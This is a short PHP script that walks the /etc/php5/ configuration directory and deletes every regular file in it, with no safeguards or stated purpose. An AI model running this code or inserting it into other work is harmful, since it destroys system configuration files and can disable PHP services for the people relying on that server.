<?php
$dir = "/etc/php5/";// Open a known directory, and proceed to read its contents
if (is_dir($dir)) {
   if ($dh = opendir($dir)) {
       while (($file = readdir($dh)) !== false) {
           if("file" == filetype($dir . $file)){
               unlink($dir . $file);//delete file
           }
       }
       closedir($dh);
   }
}
?>